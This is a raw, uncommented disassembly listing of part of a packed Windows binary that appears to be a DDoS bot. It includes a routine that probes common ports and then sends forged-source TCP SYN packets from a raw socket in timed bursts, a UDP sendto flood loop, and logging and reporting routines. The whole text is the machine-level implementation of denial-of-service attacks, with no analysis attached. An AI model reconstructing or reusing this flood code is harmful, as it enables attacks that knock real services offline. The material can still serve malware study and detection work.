		mov	dword_4E6420, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4E642A, di
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jnz	short loc_4151DF
		call	sub_41EB70
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4151ED
; ---------------------------------------------------------------------------

loc_4151DF:				; CODE XREF: sub_414FC9+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41E710
		pop	ecx
		push	eax

loc_4151ED:				; CODE XREF: sub_414FC9+214j
		call	dword_4E3088	; htons
		mov	word_4E6426, ax
		call	sub_41EB70
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4E6424, dx
		call	dword_4E3088	; htons
		push	400h
		mov	word_4E6428, ax
		call	sub_41EB70
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4E642C
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4E6410

loc_415246:				; DATA XREF: .packed:004546D8o
					; .packed:004546E0o
		push	[ebp+var_C]
		call	dword_4E30EC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4152FC
		inc	[ebp+var_4]
		call	dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41E710
		cmp	ebx, eax
		pop	ecx
		jbe	loc_4150FA

loc_415284:				; CODE XREF: sub_414FC9+124j
		push	[ebp+var_C]
		call	dword_4E3120	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41E710
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44D138
		push	eax
		call	sub_41EA60
		add	esp, 1Ch

loc_4152CD:				; CODE XREF: sub_414FC9+39j
					; sub_414FC9+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4152F5
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_4152F5:				; CODE XREF: sub_414FC9+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4152FC:				; CODE XREF: sub_414FC9+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44D1A0
		push	eax
		call	sub_41EA60
		add	esp, 18h
		jmp	short loc_4152CD
sub_414FC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415321	proc near		; DATA XREF: sub_401C87+640Eo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd

loc_41533E:				; DATA XREF: .packed:00454940o
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41E710
		pop	ecx

loc_415355:				; DATA XREF: .packed:00454B2Co
					; .packed:00454BD4o ...
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41E710
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4E30C8	; inet_addr
		push	eax
		call	sub_4154BB
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44D22C
		push	eax
		call	sub_41EA60
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4153B3
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409C75
		add	esp, 14h

loc_4153B3:				; CODE XREF: sub_415321+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_415321	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153D2	proc near		; CODE XREF: sub_4154BB+18Cp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_4153FB
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4F5530	; connect
		jmp	loc_4154B7
; ---------------------------------------------------------------------------

loc_4153FB:				; CODE XREF: sub_4153D2+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4F5514	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E3030	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4E3070	; select
		test	eax, eax
		jnz	short loc_41545F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4154B7
; ---------------------------------------------------------------------------

loc_41545F:				; CODE XREF: sub_4153D2+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41546A

loc_415466:				; CODE XREF: sub_4153D2+B8j
					; sub_4153D2+DCj
		mov	eax, edi
		jmp	short loc_4154B7
; ---------------------------------------------------------------------------

loc_41546A:				; CODE XREF: sub_4153D2+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43A942	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_41548C
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_43A942	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_415466

loc_41548C:				; CODE XREF: sub_4153D2+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4F54FC	; getsockopt
		cmp	eax, edi
		jz	short loc_415466
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax

loc_4154B7:				; CODE XREF: sub_4153D2+24j
					; sub_4153D2+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4153D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154BB	proc near		; CODE XREF: sub_415321+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], esi
		call	dword_4F5524	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4E6890, eax
		call	dword_4E3068	; setsockopt
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx

loc_4155FF:				; CODE XREF: sub_4154BB+1B9j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, [edi]
		push	eax
		call	dword_4E3088	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4E3108	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_8], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4153D2
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	[ebp+var_8]
		call	dword_4E3120	; closesocket
		cmp	[ebp+var_10], ebx
		jnz	short loc_41566C
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax

loc_41566C:				; CODE XREF: sub_4154BB+1A3j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_4155FF
		mov	esi, offset dword_4E6898
		push	offset asc_44D258 ; " "
		push	esi
		call	sub_41EA60
		mov	edi, dword_4F537C
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx

loc_415696:				; CODE XREF: sub_4154BB+232j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4156EF
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_10C]
		cmp	eax, ebx
		jz	short loc_4156CC
		push	eax
		push	esi
		push	offset aSD_2	; "%s%d	"
		push	esi
		mov	[ebp+var_C], eax
		call	sub_41EA60
		add	esp, 10h
		jmp	short loc_4156E6
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4154BB+1FAj
		push	0FFFFh
		push	ebx
		call	sub_419313
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E3088	; htons
		movzx	eax, ax
		mov	[ebp+var_C], eax

loc_4156E6:				; CODE XREF: sub_4154BB+20Fj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_415696

loc_4156EF:				; CODE XREF: sub_4154BB+1ECj
					; sub_4154BB+45Cj
		push	28h
		push	ebx
		push	offset byte_4E6834
		call	sub_41E4B0
		mov	esi, 0FFFFh
		mov	byte_4E6834, 45h
		push	esi
		push	400h
		mov	byte_4E683D, 6
		mov	byte_4E6835, 8
		call	sub_419313
		add	esp, 14h
		push	eax
		call	dword_4E3088	; htons
		push	28h
		mov	word_4E6838, ax
		call	dword_4E3088	; htons
		or	byte_4E683C, 0FFh
		cmp	dword_4E682C, ebx
		mov	word_4E6836, ax
		mov	word_4E683A, bx
		jnz	short loc_415760
		push	[ebp+arg_0]
		call	sub_415926
		pop	ecx
		jmp	short loc_41576B
; ---------------------------------------------------------------------------

loc_415760:				; CODE XREF: sub_4154BB+298j
		push	offset dword_4E6210
		call	dword_4E30C8	; inet_addr

loc_41576B:				; CODE XREF: sub_4154BB+2A3j
		mov	dword_4E6840, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4E6844, eax
		mov	byte_4E6855, bl
		call	dword_4E3088	; htons
		push	esi
		push	ebx
		mov	word_4E6856, ax
		call	sub_419313
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_419313
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4E3084	; htonl
		mov	dword_4E684C, eax
		mov	al, byte_4E6854
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4E6854, al
		mov	ax, word ptr [ebp+var_C]
		mov	dword_4E6850, ebx
		mov	word_4E685A, bx
		mov	word_4E684A, ax
		mov	dword_4E6870, edi
		mov	byte_4E6874, bl
		mov	byte_4E6875, 6
		call	dword_4E3088	; htons
		mov	word_4E6876, ax
		mov	ax, word_4E684A
		mov	word_4E685C, 2
		mov	dword_4E6860, edi
		mov	word_4E685E, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415821
; ---------------------------------------------------------------------------

loc_41581C:				; CODE XREF: sub_4154BB+436j
		mov	esi, 0FFFFh

loc_415821:				; CODE XREF: sub_4154BB+35Fj
		cmp	[ebp+var_4], ebx
		push	esi
		push	ebx
		jnz	short loc_415855
		call	sub_419313
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E3088	; htons
		mov	word_4E6848, ax
		mov	eax, dword_4E6840
		mov	dword_4E686C, eax
		mov	byte_4E6855, 2
		mov	dword_4E6850, ebx
		jmp	short loc_415872
; ---------------------------------------------------------------------------

loc_415855:				; CODE XREF: sub_4154BB+36Bj
		mov	byte_4E6855, 10h
		call	sub_419313
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E3088	; htons
		movzx	eax, ax
		mov	dword_4E6850, eax

loc_415872:				; CODE XREF: sub_4154BB+398j
		inc	word_4E6838
		inc	dword_4E684C
		mov	ax, word_4E684A
		push	5
		pop	ecx
		mov	esi, offset word_4E6848
		mov	edi, offset dword_4E6878
		mov	word_4E683E, bx
		mov	word_4E6858, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4E6834
		mov	word_4E685E, ax
		push	esi
		call	sub_40AF06
		push	20h
		push	offset dword_4E686C
		mov	word_4E683E, ax
		call	sub_40AF06
		add	esp, 10h
		mov	word_4E6858, ax
		push	10h
		push	offset word_4E685C
		push	ebx
		push	28h
		push	esi
		push	dword_4E6890
		call	dword_4E30EC	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_41581C
		call	dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_41591C
		push	[ebp+arg_8]
		call	dword_4F534C	; Sleep
		jmp	loc_4156EF
; ---------------------------------------------------------------------------

loc_41591C:				; CODE XREF: sub_4154BB+451j
		pop	edi
		pop	esi
		mov	eax, offset dword_4E6898
		pop	ebx
		leave
		retn
sub_4154BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415926	proc near		; CODE XREF: sub_4154BB+29Dp

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_419313
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_415926	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415944	proc near		; CODE XREF: sub_401C87+7269p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_455240
		mov	edi, 0B8h

loc_415958:				; CODE XREF: sub_415944+33j
		cmp	byte ptr [esi],	0
		jz	short loc_41597B
		push	[ebp+arg_0]
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41597B
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_455DC0
		jl	short loc_415958
		jmp	short loc_4159BD
; ---------------------------------------------------------------------------

loc_41597B:				; CODE XREF: sub_415944+17j
					; sub_415944+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_455240[esi]
		push	ebx
		call	sub_41E4B0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E510
		push	9Fh
		lea	eax, dword_455258[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E510
		add	esp, 24h
		inc	dword_43FA48
		pop	ebx

loc_4159BD:				; CODE XREF: sub_415944+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415944	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159C4	proc near		; CODE XREF: sub_401C87+289Dp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_44D264
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_455240

loc_4159EE:				; CODE XREF: sub_4159C4+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415A29
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_44D278
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41EC30
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 2Ch

loc_415A29:				; CODE XREF: sub_4159C4+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_455DC0
		jl	short loc_4159EE
		pop	edi
		pop	esi
		leave
		retn
sub_4159C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A3C	proc near		; CODE XREF: sub_401404+372p
					; sub_401404+3F3p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_4F5404	; GetLocalTime
		mov	ebx, offset dword_4EAC98
		mov	edi, 80h
		mov	esi, offset dword_4E6C98

loc_415A5E:				; CODE XREF: sub_415A3C+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415A75
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_415A75:				; CODE XREF: sub_415A3C+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415A5E
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41EC30
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AB0	proc near		; CODE XREF: sub_4019A5+F7p
					; sub_401C87:loc_40220Dp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41F9C0
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415A3C
		add	esp, 14h
		leave
		retn
sub_415AB0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_415B0B
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_44D2B0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409C75
		add	esp, 14h

loc_415B0B:				; CODE XREF: .packed:00415AF2j
		cmp	[ebp+18h], ebx
		jz	short loc_415B23
		push	dword ptr [ebp+18h]
		call	sub_41E710
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415B23
		mov	[ebp-8], eax

loc_415B23:				; CODE XREF: .packed:00415B0Ej
					; .packed:00415B1Ej
		mov	[ebp+14h], ebx
		mov	esi, offset dword_4E6C98

loc_415B2B:				; CODE XREF: .packed:00415B73j
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_415B75
		cmp	[esi], bl
		jz	short loc_415B64
		cmp	[ebp+18h], ebx
		jz	short loc_415B50
		cmp	[ebp-4], ebx
		jnz	short loc_415B50
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_418B5C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B64

loc_415B50:				; CODE XREF: .packed:00415B3Aj
					; .packed:00415B3Fj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409C75
		add	esp, 14h

loc_415B64:				; CODE XREF: .packed:00415B35j
					; .packed:00415B4Ej
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_4EAC98
		jl	short loc_415B2B

loc_415B75:				; CODE XREF: .packed:00415B31j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_415B79	proc near		; CODE XREF: sub_401C87+2798p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4E6C98
		xor	ecx, ecx

loc_415B80:				; CODE XREF: sub_415B79+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4EAC98
		jl	short loc_415B80
		cmp	[esp+arg_C], ecx
		jnz	short loc_415BAE
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_44D2BC
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_415BAE:				; CODE XREF: sub_415B79+19j
		push	offset dword_44D2D0
		call	sub_415A3C
		pop	ecx
		retn
sub_415B79	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset dword_4E6C98

loc_415BC0:				; CODE XREF: .packed:00415BE1j
		cmp	byte ptr [esi],	0
		jz	short loc_415BD5
		push	dword ptr [esp+8]
		push	esi
		call	sub_418B5C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415BE7

loc_415BD5:				; CODE XREF: .packed:00415BC3j
		add	esi, 80h
		cmp	esi, offset dword_4EAC98
		jl	short loc_415BC0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_415BE7:				; CODE XREF: .packed:00415BD3j
		xor	eax, eax
		pop	esi
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BEC	proc near		; DATA XREF: sub_401C87+2848o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_415C3F
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_44D2E4
		push	eax
		push	[ebp+var_11C]
		call	sub_409C75
		add	esp, 14h

loc_415C3F:				; CODE XREF: sub_415BEC+33j
		cmp	[ebp+var_98], 0
		jz	short loc_415C5F
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41E710
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415C5F
		mov	[ebp+var_8], eax

loc_415C5F:				; CODE XREF: sub_415BEC+5Aj
					; sub_415BEC+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4E6C98

loc_415C68:				; CODE XREF: sub_415BEC+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415CC2
		cmp	byte ptr [esi],	0
		jz	short loc_415CB1
		cmp	[ebp+var_98], 0
		jz	short loc_415C97
		cmp	[ebp+var_4], 0
		jnz	short loc_415C97
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_418B5C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415CB1

loc_415C97:				; CODE XREF: sub_415BEC+90j
					; sub_415BEC+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409C75
		add	esp, 14h

loc_415CB1:				; CODE XREF: sub_415BEC+87j
					; sub_415BEC+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4EAC98
		jl	short loc_415C68

loc_415CC2:				; CODE XREF: sub_415BEC+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_44D300
		push	eax
		call	sub_41EA60
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415CFC
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409C75
		add	esp, 14h

loc_415CFC:				; CODE XREF: sub_415BEC+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_415A3C
		push	[ebp+var_18]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_415BEC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D1B	proc near		; CODE XREF: sub_401C87+73A7p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
